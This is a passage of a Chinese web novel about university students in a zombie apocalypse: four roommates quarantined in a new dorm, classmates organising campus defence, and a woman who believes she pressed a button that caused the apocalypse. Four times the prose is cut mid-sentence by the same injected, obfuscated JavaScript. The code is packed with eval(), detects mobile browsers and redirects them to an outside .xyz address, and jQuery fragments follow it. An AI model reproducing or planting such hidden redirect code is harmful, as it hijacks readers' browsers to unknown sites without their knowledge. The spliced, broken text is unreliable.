“如果你们能配合完善丧尸的变异情况调查，就能快速制定好隔离规范，更快返回原宿舍。” 从校外活着闯回来的人很少，能带着一堆物资回来的更少。 她们能对补充丧尸习性、校外情况有重要作用。 东六是刚装修好的新生宿舍，以四人寝上床下桌、独立卫浴，单独洗衣机而闻名。现在是期末，大四刚走，新一届的大一还没来，所以正好空下来。 确实适合隔离。 姜杞听到“受伤人员”就已经放弃继续争取，听到“配合完善丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203019|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸的变异情况调查”时，更是深深地看了许尧一眼。 她现在确信大门处的围挡就是此人的手笔。 “我们先休息。”丧尸的事情，看情况再决定是否配合。 姜杞不再坚持，1230其余三人更不会过多言语。她们每个人现在都紧绷着身体，确实迫切需要休息。 或者说，离开人群的视线。 说来倒是好笑，刚才在外面坐着三轮车打丧尸，认清丧尸特性之后，她们倒是不由自主地降低了警惕，现在面对活生生的正常人，反而无论如何也放松不下来。 满车的物资，注定了她们的引人注目。 【Max】：那些人刚从外面回来吧？ 【代取快递】：操，身上全是血，不会是人的血吧？ 几个人坐在车上缓缓前进，小三轮已经快没电了，姜杞等人还是执意不下来。还是李穗在开车，张文斌慢慢地追在三轮车后面，姜杞三人则挤在小三轮上，表情复杂地看着手机上的聊天记录。 有没有一种可能，她们也在学校大群里面。 这一路她们接受了无数视线洗礼，惊恐、害怕，还有眼底一闪而过的兴奋。也许是大学生素质高，有分寸感，也许是被她们满身的血污吓到，围观的人不少，凑上前的倒是没有。 反而所有人一看到她们就跑远远的，跑出一段距离后，开始哐哐拍照。 …… 耳边又响起了拍照的声音。 阮青舒冷笑了一身，抬头瞪向跟在后面的张文斌：“拍拍拍，再拍就把你的头砍下来！” 正在慌里慌张关闪光灯的张文斌闻言僵硬地抬起来头，正好看见一直沉默的那个矮小女生放下手机活动了活动筋骨，然后摸向了身侧染血的大砍刀。 “啊啊啊——！” 朱妙妙不解地看着那个落荒而逃，鞋都跑掉一只的身影，感到莫名其妙。她感觉手上有点沉，垂眸一看，把刀柄放下重新摸起手机。 【树袋熊】：操 【A真人代刷知到、学习通】：操 【吃雪糕了吗】：操 随着张文斌的落荒而逃，“东区二手互助扶贫工作办”群里刷起满屏的“操”。这样的文化水平让姜杞不禁想起前年的冬天，她在教学楼前看到了漫天飞雪，身后刚下课的同学们鱼贯而出，耳边“卧槽”声此起彼伏。 在末世，被人害怕也没什么不好。 姜杞这样安慰自己，她在返校交流群中@了法学院许尧，问到了宿舍号，几人推着再也骑不动的小三轮乖乖来到东六隔离。 也许是为了照顾她们携带的物资，隔离地点被安排在了一楼。 几人合力把小三轮推进了宿舍门口，把所有物资都搬进新宿舍，又把小三轮推回了宿舍楼外面。 这段时间有个学姐一直在旁边看着，始终和她们保持着一定的距离。 隔离措施倒是落实的很好。 所有事情都做完后，在学姐的注视下，123宿舍门被关上，四人开始了期限未定的隔离生活。 反锁上门的那一刻，姜杞颤抖着伸手向外套里摸去。 阮青舒已经在拨打家人的电话了，大滴大滴的泪水落在手机屏幕上，她手忙脚乱地去擦屏幕，还没擦干就又有泪滴落了下来。李穗焦急地看着尚未接通的手机屏幕，一会呼吸急促，一会又喘不上气来。 朱妙妙蹲在角落里，背对着所有人，不知道有没有打通。 12. 隔 离生活 每个人身上都疲惫无比，但没有人顾得上休息，一个接一个的电话打出去，有的电话快速接通，有的始终始终打不出去。 东六宿舍楼在学校的边缘位置，隔着高高的围栏就是校外的小山头，一楼的窗户里，一半是山，一半是夕阳。 大颗的雨滴在夕阳灿烂的余晖下落在草坪上。 整个东区上空都被乌云笼罩，浓重的黑云如墨水浸染般向东北方向延伸，一直延伸到波澜起伏的海上。而西南方向彩霞漫天，在山头上洒落漂亮的余晖，甚至照亮了雨滴。 姜杞站在窗前，她始终不知道是白海的云就是比别处的好看，还是人只有在上了大学后才开始有心思关注天边的云彩。 手机里再次传来“请稍后再拨”的声音，姜杞垂眸，看到电话自动挂断随即返回拨号页面，然后面无表情地继续拨打下去。 通讯录的“家人”分组，没有一个人接通。 姜杞不知道什么时候蹲在了地上，无可抑制地双手捧住脸，全身都在战栗。 熟悉的手机铃声在这时响起。 她立刻颤抖着摸起手机，是个陌生号码，眼泪落在屏幕上，刚好挂断。姜杞一愣，手忙脚乱地又要打回去，这时对方已经锲而不舍的重新打了回来。 “我擦我真的服了！你那边信号不好吗为什么一直占线！我给你打了十多分钟电话了一直占线！” 姜杞：“……” 声音在电话里有些失真，但她还是立刻认出了这人是谁。 姚远，她大姑家的堂弟。 姜杞着急地问：“你怎么样了，给家里打通电话了吗？” 姚远和她同一年上大学，姜杞留在了省内，而姚远离家八百公里。 姚远闻言陷入沉默。 良久，他艰难开口：“我打了一下午了，只打通了你和霖霖姐的号码。” 姜杞只觉鼻尖一酸，她颤抖着紧紧捂住胸口，视线模糊间又听到姚远没心没肺的猜测：“我觉得应该是信号的问题，要不然说不过去。” 一个人不接电话可能是出事了，所有人不接电话，那就可能是别的方面出了问题。 姜杞攥紧手机，仰着头张嘴喘气，像是又重新活了过来。 也对，要不然这一下午了，就算她没给家里打一个电话，家里也早就应该给她打过来了。 她家里在小县城里开早点店，临街的店铺，上下两层，中午店里不开门，妈妈又习惯性地在二楼午睡，应该出不了事。 至于她爸……要是还能从坟墓里爬出来，那大家也别求生了，直接出校门找个丧尸咬一口迎接新生活吧。 她缓了缓，问姚远那边什么情况。 “昨天晚上通宵复习，十点多考完高数直接回宿舍睡觉，三点多被走廊上的动静吵醒，正准备点个外卖，一看热搜才知道世界变天了。” 姚远痛苦万分，听说是第二节课考马哲时爆发的丧尸，一中午所有人都在抢购物资，就他睡得跟死猪似的。 幸好舍友出门前把门带上了，要不然做着梦就直接上了天堂。 姜杞安慰道：“起码活下来了。” 姚远沉默。确实，他的三个中午去食堂买饭的舍友，至今一个都没回来，微信也完全联系不上。 校园表白墙完全瘫痪，运营的人生死不明。 互助群里一开始还有人预警，某某楼、某某宿舍有丧尸，劝大家躲着走。 后来全都是谩骂，骂超市有人趁乱没付款，骂抢购物资的人没良心，要逼死后来的人。 不断有人在群里发出求救，被困某某教室，或厕所，有偿求救人。 消息发出后，有时会陷入一段时间的尴尬，没人回复，活着不痛不痒的安慰两句。 过段时间就会被淹没在各种谩骂或求合作的信息里。 他只是睡了一觉，醒来后世界秩序已经完全崩溃，光消化这些巨大的消息就花了快有一个小时。 他拿着手机在宿舍狭小的空间里走来走去，精神恍恍惚惚，一会小心地拉开阳台的推拉门，偷偷从六楼往外看下面的惨烈，一会又后怕地把几个大衣柜搬到宿舍门后面，刚安心了一点，又想到舍友不知道什么时候会回来，几经犹豫，最后还是跺了跺脚，重新把废了好大力气搬过去的衣柜又挪了回去。 然后蹲在衣柜旁，双腿抱膝，捧着手机看外面的消息。 微博已经崩了，从群里的截图来看，外界的秩序也好不到哪去。 他这才反应过来，手忙脚乱地要给家里人打电话。刚打第一个电话时对面宿舍楼已经被染上红晕，墙壁上的亮色逐渐加深，又逐渐褪色，直到天光暗沉，才打通了姜杞的电话。 崔远缩在衣柜与墙壁的夹缝里，听着电话里熟悉的声音，不禁鼻尖微酸，话语中都带了些不易察觉的委屈：“那你呢，快四点的时候给你打电话你不接，这都快天黑了，你怎么才接电话？” 快天黑了啊。 姜杞没有说话，她扶着墙站起来，再次看向窗外。 外面不是主校区热闹的校门口，不是火锅店后面的居民楼天井院。不同于她们原本推窗就能俯瞰半个白石区的12楼，东六123宿舍窗户往下看得见草根的枯草坪，往上也只能看见半边泛着微光的黑天。 雨已经下大了。 末日刚爆发的时候，天上艳阳高照，她们躲在火锅店后厨准备勇闯尸潮。眼下夕阳西下，白日暴雨，她们竟然回到了东区，不是偷偷摸摸地转运物资回宿舍，而是光明正大的带着物资接受了隔离。 姜杞如实道：“我们全宿舍在丧尸爆发前打包卖掉了所有囤货，拿着折现的钱去了闹市吃饭，然后被迫直面丧尸，刚骑着共享电动车和敞篷小三轮从尸潮里闯出来，现在正在硬件设施一流，软装全无，甲醛味没有散干净的新宿舍楼里隔离。” 手机里崔远不厚道的笑声和身后的憋笑声几乎同时响起。 姜杞手机还贴在耳边，僵硬地转过身来。 李穗睫毛被眼泪粘在一起，鼻尖上还湿漉漉的，拿着张湿巾正准备擦脸，脸上的肌肉还在抽动，在三人表情复杂地注视下心虚地别开脸。 她这个笑点低、笑点奇怪的臭毛病真是如何也改不了。 “隔离？”崔远这才反应过来，“你们那边听起来不算严重啊，还能安排隔离！” 他们学校已经完全乱作一团，丧尸遍地。通过网络也能看出各大城市都是重灾区，所有人自顾不暇，社会秩序在短时间内迅速崩溃。 经崔远这么一提醒，姜杞也觉得有些割裂。东区的井然有序与外界的混乱形成鲜明对比。 她们曾以为这一晚注定难眠。 突如其来的世界末日，追着人咬的丧尸，前台姐姐被啃掉的半张脸，还有酒楼后厨到底不知为何突然传出的叫喊…… 意外的是，身处东六这完全陌生的环境中，她们竟然久违地感受到了安全感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203020|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔离确实限制了她们的人身自由，但也一定程度上说明大家还有人管，至少在东区内部，社会秩序还在正常运转。 充当宿管的学姐来借走了小三轮的钥匙，说是找到了合适的充电器。傍晚就有人开着小三轮运来了大批的干净被褥，和全新的衣服。 H大不强制要求订被褥，但是查寝的时候非统一的被褥会被扣分，而且毕业季会有人以极低的价格回收被褥，翻新后以原价再卖给大一新生，形成了罪恶的产业链。 这些被褥就是前段时间刚从毕业生那里回收来的，堆在宿管办公室里还没来得及拉走。每个隔离的学生都收到了被褥，通过微信视频确定了神智正常后，出门自取。 衣服只有法学院院服，还是旧款的。 法学院今年改了院服的款式，往年没卖出去的就彻底砸在了手里，这次直接从仓库了拉出来废物利用。 还有晚饭。 1230宿舍在大庭广众下搬了这么多物资回来，但是为表人道主义，送被褥的学姐还是给她们捎了四个面包来。 学姐隔着房门小声解释：“统一管理，不好破例。” 所有隔离人员都是一个面包的标准，没有例外。 几个女生都有点不好意思了，倒是姜杞听到这熟悉的话语，愣了好一会。 被褥衣物，还有饮水食物，这都属于最底生活保障，不过学姐还问了她们要不要卫生巾，这个包含在最底生活保障里。 李穗委婉拒绝了，她们宿舍都是差不多的时间一块来，前几天刚过去，更何况就算本来快来的人，经此一遭也得吓了回去。 这种必需品还是留给更有需要的人吧。 互助群里还兴起了跑腿业务，帮隔离的同学代取宿舍物资。 代购不行，东区超市现在完全把控在校方手里，已经彻底限购了。 姜杞她们特地找了人帮忙回宿舍取了数据线和洗漱用品，倒也不是多讲究，主要是为了让人清楚她们宿舍里一无所有。 带回来的东西已经藏不住了，最好能传出她们宿舍空无一物的消息。 李穗失落的瘫在地上：“这招真是伤敌一千，自损八百。” 主要是心理上的伤害。 当晚姜杞以1230全体成员的名义在学校大群发了一份关于丧尸的文档，下面一溜烟的【点蜡】【拜佛】【大拇指】。 晚上十一点半，东区宿舍楼准时断电。 “mad！宿管都没了，期末考都取消了！晚上竟然还会断电！”宿舍楼里响起此起彼伏的谩骂声。 “期末考”——姜杞半梦半醒中捕捉到这个关键词。 她恍惚明白了东区如此团结的原因，末日了，期末考取消了。如果没记错的话，下午第一节商院要考高数，教科考的是啥来着？ 反正都是要人命的学科。 怪不得平日让干点啥活完全指使不动，世界末日反而都成积极分子了。 黑暗中，李穗忽然尖叫：“完了！” 阮青舒躺在床上，在黑暗中白了她一眼，撇撇嘴刚要开麦，就被李穗接下来的话吓得坐起来。 “小黄车，小黄车还没锁车呢！” 睡意朦胧的姜杞猛得睁开了眼，朱妙妙也颤抖着摸起手机查看。 “操这得扣了多少钱了！” “完了。”姜杞看着手机屏幕上的调度费喃喃自语，重重地栽落在床上。 这下彻底睡不着了。 13. 神啊，救救我们吧 “急求退烧药！小孩受惊发烧了，重金急求！” “救援什么时候能到？到底有没有救援！我们一行人躲在大悦城的射箭俱乐部里饿一天了，马上要撑不住了！” 散发着恐慌气息的消息接二连三弹出，手机屏幕的冷光映着女孩发白的脸。张娅捧着手机，在宿舍小床上缩成一团，脸色苍白地看着各大微信群的消息。 窗帘、床帘都拉得严严实实，台灯也不敢开，小床里昏暗一片。 这是丧尸爆发的第一天夜里，各大城市迅速沦陷。 丧尸病毒不知以何种原因，何种方式，在各大城市突然爆发，不分地域、不分种族、不分年纪，席卷人类文明的每一个角落。学校里、大楼中、甚至马路上。人员密集的J营更是重灾区。Z府机构全面沦陷，社会秩序轰然崩溃。 文字和图片如病毒般快速传递，恐慌逐渐发酵、漫延。 “西六宿舍楼的别出去！一楼值班室里藏了丧尸，正在啃宿管的脸！！！” 主校区互助群里忽然有管理员发言，紧接着传上来一段视频。 镜头止不住地晃动，透过一点门缝，隐约可以看见斜对面值班室漫延出的浓稠血迹。 大片的红色刺痛张娅空白的大脑，她猛得失声尖叫，无法忍受般把手机甩出，缩在角落紧紧抱住自己，脸色惨白。 她紧闭双眼、脑中一片空白，可微信提示音还在断断续续地传入脑海，刺激着她回忆起刚才看过的求救、崩溃、癫狂。。 …… “砰砰，砰砰砰……” 张娅猛得睁开了眼，弹射般跳下床，手忙脚乱去开门。 两个戴着厚厚口罩的同学站在宿舍门后，长袖长裤，左手酒精喷壶，右手文件夹，看到她慌乱的模样后还微微皱了皱眉头。 “现在是非常时期，保持警惕，不要轻易开门。” 张娅一愣，嚅嗫着说好。 内心却如被水流抚平般逐渐和缓起来。 从今天下午，丧尸爆发的初期，这群带着口罩的同学就迅速控制住了整个东区，限制人身行动，接管医务室、超市，同时建立校园防御系统、清除丧尸、统计幸存人数、发放药品食物。 在官方的强力约束下，所有同学的下意识顺利接受了“丧尸爆发、世界末日”这个设定。 在外界秩序几乎全然崩溃的情况下，几乎没有人对他们挑刺、不服。 短发女生温和一笑。“你是张娅？宿舍里现在只有你自己了？舍友都是什么原因不在宿舍？” 这都是刚刚在群里填表回答过的问题了，张娅一一作答，虽略紧张，但表述清晰。 两个女生神色认真听着她的回答，目光却停留在她。张娅隐约想到，这大概是在确定自己是否有变异的迹象。 “这是今天的伙食，宿舍有存粮的话，尽量省着点吃。” 短发女生笑着从背包里掏出一个面包一袋牛奶，张娅有些犹豫地接了过来，她捏了捏手里的东西，又喊住那两个同学：“都吃完了的话，怎么办啊？” “平时屯的零食啊，超市里的存货啊，总有吃完的一天吧。”张娅的脸上逐渐出现一丝崩坏：“外面已经变成那个样子了，真的会有人来救我们吗？” 高个女生眉毛一挑：“我们要自己救自己。” “大家的担心我们已经了解到了，会及时反馈。”短发女生面色平静：“这么重要的事情，群里一定会有通知的。” 这样官方的话，从短发女生口中肯定的说出，竟真的抚慰了张娅慌乱的心。 凌晨，广大幸存者的忧虑得到了反馈。 【希望大家根据网络知识处理手头上可能进行种植的根茎、种子】 【校方有偿回收可种植的根茎、种子，提供□□】 张娅高悬的心像是缓缓落向了实处。 她们要准备种地了。 “种地？”打印社里，手机微弱的光照亮高个女生复杂的表情：“这是要做打持久战的准备了。” 已经深夜，打印室里不敢开灯，但机器昼夜不停。 网络不知道能延续到什么时候，他们要尽快保存求生知识，应对接下来的天灾末世。 “那不是挺好吗。”短发女生整理着刚打印出来的电路维修资料，声音和缓：“外面都乱成什么样了，确实不能把所有希望寄托在被人拯救上。再说就算国家真的还有力量救援，这么多灾区，什么时候才能救到我们？” “我的意思是，许尧他，甚至把种地放在了寻找救援之前。”高个女生沉声道。按照正常思路，她肯定是缩在宿舍里打死不出来，每天省着吃屯粮，用尽一切方式寻找救援。 报警，利用手机电台接听消息，床单上写SOS，然后挂窗外。 大难临头，常人大多只想着自救，眼前的困境、内心地恐慌尚且无从应对，谁会直接就准备种菜，在末日走可持续发展？ “而且”高雯起身，小心地紧了紧打印社的窗帘，轻声道：“他一眼就认出了那是丧尸，没有丝毫的犹豫，就像……” “就像，就像提前知道末日一定会降临一样”商夏夏低声接道。 两人不约而同地陷入沉默，空气仿佛凝滞一般。 女生宿舍，东四1201。 小阳台上晒着床单被罩，窗帘紧闭，末世降临以来，所有窥视的目光都和日光月光一起被隔绝在外。 宿舍里面漆黑且拥挤，接着手机屏幕微弱的光芒可以依稀看到地上、桌子上，到处都是东西。无处下脚的地面堆满桶装饮用水和木棍暖壶各种杂物，大包小包的零食薯片堆在桌面几乎放不开，几兜水果被装在塑料袋里吊起来。 物资，到处都是物资。 这是个四人寝的研究生宿舍，三个正常床铺，靠近窗户的上铺堆满了大大小小的纸箱，高到天花板，摇摇欲坠，仿佛马上要倒下来。 于虹就一个人抱膝蜷缩在那下面。身后倚着一张空床，头顶是摇摇欲坠的纸箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203021|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知过了多久，埋在膝盖里的脑袋微微抬起，露出一双红肿的，无神的眼睛。她颤抖着摸起地上亮着屏幕的手机，各大社交软件都是99加的消息，却不敢点开看一眼。 卸载掉微信□□，她捂住心口，点进小绿书里。 进去的时候几乎卡了一下，关注、点赞、评论都亮着红色的99加，私信也早已沦陷。 “大神！大神你会预言对不对！这场灾难什么时候结束？死去的人还能再活过来吗？” “卧槽还真世界末日了” “姐妹你是重生了吗？世界还有救吗？” 末日第二天，网络尚未瘫痪，几千粉丝的小博主于虹火了，首页置顶的帖子在这惊魂般的一日一夜中获得了十多万的点赞。 【三岁女儿无缘无故写了这个，是太孤独想要弟弟了吗】 配图只有一张，橘红的番茄酱在白墙上写的几个歪歪扭扭大字：世界末日！ 骂骂咧咧的网友点进去才能看到博主在正文中的解释：【标题党了，总之世界末日可能到了，赌上我身为搞笑博主的一切，发誓这个不是在搞笑。相信我的粉丝从现在开始去离你最近的安全的地方躲起来，最好是尽快回家，不要出门!不要出门！不要出门！】 起初，网友还是以为这是在搞笑。 “笑吐了，你要不说自己是搞笑博主，我就真信了” “@小肚肚被老公扎大了，这也是你们搞笑女的把戏吗？” “骂骂咧咧的进来了，骂骂咧咧的留了下来。” 帖子刚发出就因标题党、浪费食物加博主身份获得了一小部分关注，评论区一水的嬉笑怒骂，没谁当真。 直到死亡真正出现在眼前，与生存机会擦肩而过的人们才感受到凌迟般的痛苦。 “神啊，救救我们吧”这条评论已经两万多赞，被顶到了热评第一，下面一水的“救救我们吧。” 放下手机，被封为预言家、神灵的于虹绝望地用双手捂住脸，。 她不是预言家，不是神灵，拯救不了这个世界。之所以知道即将末日，只是因为……末日是她带来的！ 如果突然出现一个按钮，按下末日就会到来，你会如何选择？ 于虹双手支撑着憔悴的脸颊，脑海中依稀忆起那个夜晚，那是在通往图书馆的路上，她好不容易抢到的座位，边赶路还边拿着自己整理的知识结构网背诵。 路上没什么人，也可能是她根本没注意，这段时间她两眼一睁就是背，背到闭上眼的时候。 她太累了，都没注意到眼前突然出现的按钮。 【如果按下这个按钮，世界末日就会到来……】 那个声音仿佛又在耳边响起，于虹缩在床边，不记得后面是什么了。也许她根本没听到后面，在听到【世界末日就会到来】后，浑浑噩噩的她就毫不犹豫按了下去。 停顿了几秒，略清醒过来的于虹盯着按钮看了片刻，想了想，又连按了好几下。 14. 姐妹们冲啊！ “敏子，我们是不是也该干点啥？” “宿舍本来就没多少吃的。”江心焦虑地在宿舍里来来回回走，似乎还身在丧尸爆发前的世界：“食堂不开门，外卖怎么也停了。” 末世第二天，几乎所有幸存者都不敢踏出室外。大部分人的身体被恐惧拘禁，可认知与习惯还停留在自由的昨天。 上午十点，刚被喊醒的林卓敏瘫坐在床上，睁开眼就对上了蒙着一层血雾的窗户。隔着玻璃上混乱的血手印，还能隐约看到外面几个矫健的身影正挥舞着烂桌腿铁板凳，灵活地蹦来蹦去，像四只猴子般驱赶着中间肢体僵硬的干瘦丧尸。 丧尸亮黄色的冲锋衣和袋鼠耳朵头盔是这样惹眼，即使糊了一层黑红的血也让睡眼惺忪的林卓敏瞬间认出了他的身份。 昏昏沉沉的脑袋被这一幕刺激地头皮发麻，林卓敏忍着呕吐的冲动合上眼，缓缓转过头来，“外卖是该停了。” 林卓敏之前就在学校食堂麻辣香锅兼职送外卖，昨天中午她正骑着电动小三轮往图书馆赶。晴空朗朗，那个一身脏血的高大男生从绿化带里突然扑出来，血肉模糊的脸直接撞在车把上，烂肉杂着黑血掉在她脚边。 太过惊悚的画面让她无法思考，下意识尖叫着跳了车，腿不受控制地狂奔。不知道跑了多久，大脑中一片空白，自己仿佛在尖叫，却又听不到任何声音。 她想求救，却发现目之所及都恍若地狱重现，教学楼中、食堂里，不断有人尖叫着进去又满身血污地踉跄逃出来。乱了！整个校园都乱了起来！ 蝉鸣杂着哭嚎怒骂，汗与泪混在一起，地面尚未凝固的鲜血闪着滑腻的光。 那时阳光炙热，青葱校园里到处是拼命狂奔的同学，仿佛来到了校园跑打卡截止的最后一天。 丧尸终究只是少数，被不幸咬到的同学也没有立刻就变成那种能吃人的凶残模样。不断有陷入绝境的同学人开始发疯反抗，用板凳砸，扯跳绳把丧尸绊倒，用棉被把它们罩住死死压在身下……林卓敏只记得自己在日头底下疯狂逃窜，也曾癫狂地挥舞着什么东西驱赶那些曾经的同学，汗滴落在眼底，模糊了视线，当她再也跑不动时，耳边已经没有了尖叫哭嚎的声音。 那时她无力地站在操场边上，手上还勉强握着不知哪里摸来的半截板凳腿。盛夏的正午热极了，一切仿佛都被热浪扭曲，她抬头看天，只觉得一切都是场白日大梦。 “同学，你还活着吧？” 那声音显然刻意压低了，但在空旷的操场上还是显得格外刺耳。她紧绷着身子向那边看过去，只见几个装备齐全的人隔着排球场高高的铁网朝她挥舞着双手，有男有女，每个人都在不怕热般裹着厚厚的棉被，手中举着五花八门的武器，拖把杆扫帚头、长柄雨伞，超大号铁勺，甚至还有个恐怖的小电钻。 那些人披着棉被向她跑过来，热情非常。“同学你受到惊吓了吧，赶紧的，我们送你回宿舍！” “你们这是？”林卓敏只觉得眼花缭乱，像是从一个梦掉进另一个梦。 “你说这些东西吧？”一个卷毛男生热情地向她展示自己身上的装备，橡胶手套和超大号铁铲都是六餐后厨捡来的，胸前背后用胶带缠上又大又厚的英语课本，甚至连脚上都套着防水鞋套。最后他兴奋地拽了拽自己身上的棉被：“这是我们目前发现的对付丧尸的最有效的方法，不管是把自己裹起来还是把丧尸裹起来，都特别安全！碰上落单的丧尸我们就拽着被子角把丧尸盖上压住，然后裹着抬起来绑上，一块扔到学校外面！” 她闻言下意识看了眼自己手中简陋的板凳腿，有些恍惚。 一个瘦小的女生把她拽到自己被子底下，林卓敏下意识贴紧了那个女生的身体。女生小声道：“别听他浪费时间了，外面太危险，咱们赶紧走！” 几个人背靠背挤在一起，警惕着周围的情况，小心地向宿舍方向转移。 快放假了本来就没多少人，现在更是看不见一个人影，一路上到处是撒在地上的饭菜，被踩了无数脚印的课本，不少低矮的树上还耷拉着险些被折断的枝条，满地纷乱的叶片见证着当时的狼藉。 就是在这条路上林卓敏遇到了第一个丧尸，她全身紧绷，止不住地战栗。 “别拍。”瘦小女生轻声安抚：“刚才乱跑的那些丧尸基本都被开车扔校外面了，教学楼的丧尸也都被锁教室里，咱们只要不落单，基本没太大危险。” “是警察来救我们了吗？”林卓敏猛得抬眸。 瘦小女生愣了一下，“你不知道吗？警察局电话打不通了，几乎所有官方机构都打不通电话，网上已经乱成一团了。” “怎么会？”林卓敏急促地喘息，着急地要追问，瘦小女生却忽得示意她噤声，林卓敏下意识双手捂嘴，顺着她的目光看过去。乒铃乓啷的动静从前方传来，越来越响，一辆电动三轮车风驰电掣地从路口的另一个方向冲了出来！ 驾驶坐上是一个干瘦男生，他紧握车把，咬着牙努力把控着方向，身后的车上被棉被紧紧包裹缠成茧子的丧尸们还在死死挣扎，不时发出嘶哑的吼叫，整个车身都被撞击的不停晃荡。 “是运丧尸的同学！”一行人兴奋地冲着三轮车上的人打招呼，三轮车上的人却来不及回应，风一般在她们视线范围内闪过，冲进另一条小路，生怕慢一秒丧尸就全要从车上掉下来。 “看到了没！”卷毛骄傲地指着小三轮离去的方向，“没有人救援，是我们在救自己。” “学校里愿意参与自救的同学都被组织起来了，有人打丧尸，有人收集物资，还有人跟我们一样组团搜寻幸存的同学。其实大学里相对封闭，本来就没多少丧尸，现在大部分志愿者都去校门口建防御措施了，让校外丧尸进来才是真正的危险。” “现在是非常时期，分秒必争！” “同学你要是愿意的话吗，也可以加入我们。” 林卓敏下意识回避了那些闪着亮光的眼睛，她攥了下衣角，瞥向近在咫尺的宿舍楼，嚅嗫道：“我，我想先回宿舍看看。” 宿舍楼前依然没有一个人，大厅已经被锁上了，玻璃门后的同学赶忙上前推开门后从沉重的铁柜子，小心地打开一条缝，林卓敏迫不及待地挤了进去。 刚激动地跑了几步，她又迟疑着转身。 那些人已经走到台阶下了，有人拖着被子猥琐地观望着四周，有人挥了挥铁勺继续前进，还有人似乎听到了林卓敏道谢的呼喊，抬手挡住炙热的阳光回头看向这边，笑着挥了挥手。 直到跟着开门的学姐走到宿舍门口时，林卓敏还心神恍惚地想着烈日下渐行渐远的那几个身影。 “不少宿舍里面都关着丧尸，听到动静别害怕。楼梯间里也有不少摔断腿的丧尸被关在里面，千万被试图打开楼梯间的门，走电梯，不过你在一楼也没那个必要。还有没必要原因尽量不要出门。加上我微信，一会拉你进群，记得填表，想做志愿者也可以联系我。”短发学姐嘱咐了几句，又向她的舍友解释所有进宿舍楼的人都经过了检查，没有变成丧尸的风险。 唯一在宿舍的江心站在门口不说话，没有阻拦，只是散发些许防备与冷漠。 学姐递过来自己的二维码，林卓敏忙去掏手机，忽然一声凄厉惨叫划破静寂，她的手僵在裤兜里。 是刚刚那个卷毛男生的声音。 学姐疯了般向宿舍门的方向冲去，几乎是同时，还呆在原地的她被脸色大变的江心一把拽进屋里。 …… 楼下的动静愈发大了起来，林卓敏缓缓回过神来，她活下来了，已经是丧尸爆发的第二天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203022|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些混乱的事情在梦里反复折磨了她一整晚，梦境无数次重置昨天，将她放在改变命运的节点重新选择。她不记得自己是否仍旧胆怯，但那种无法改变过往的无力感始终如阴影般笼罩在她心间。 丧尸真的那么危险吗？ 到底该怎么做？ “外面果然还有丧尸！”江心终于注意到了楼下的动静，惊悚的连连后退。林卓敏回过神来，跳下床小心地走向阳台，像昨日目送那些背影一样趴在玻璃上。 她恍惚回到了昨天。 四个全副武装的身影和中间的黄衣丧尸拼命缠斗，拖把杆抵着丧尸的肚子往墙上推，大铁勺挥来挥去，把丧尸手里紧攥的外卖盒击飞出去。 一切仿佛都非常顺利，可就在外卖被击飞的那一瞬间，丧尸忽得暴起！僵硬迟缓的身体像是在这一刻爆发出最后的能量，四肢扭曲地扑向距离最近的那个身影！ 一秒，还是两秒？林卓敏大脑空白了片刻，突然转身冲了出去。 丧尸暴起的太突然，尖利指甲扎上头上的高颅顶神器时，姜杞甚至没来得及叫出声来。她拼命挣扎，丧尸将她摁倒在身下，它的嗓子似乎已经难以发声，但生生挤出一声嘶哑的粗吼，脸上的口罩殷出一抹暗红。 朱妙妙眼疾手快地抓住丧尸的一只腿外后拽，阮青舒尖叫着去用拖把杆猛砸丧尸的身体，还误伤了姜杞两根手指头，上前帮忙的孟和也没能幸免于难，被砸中的时候忍住不地骂了一声。 “抓他的手！外套，用外套缠住他的手！”姜杞努力无视那个试图隔着口罩咬她的脑袋，拼死抵抗着那两只长着尖利指甲的手。 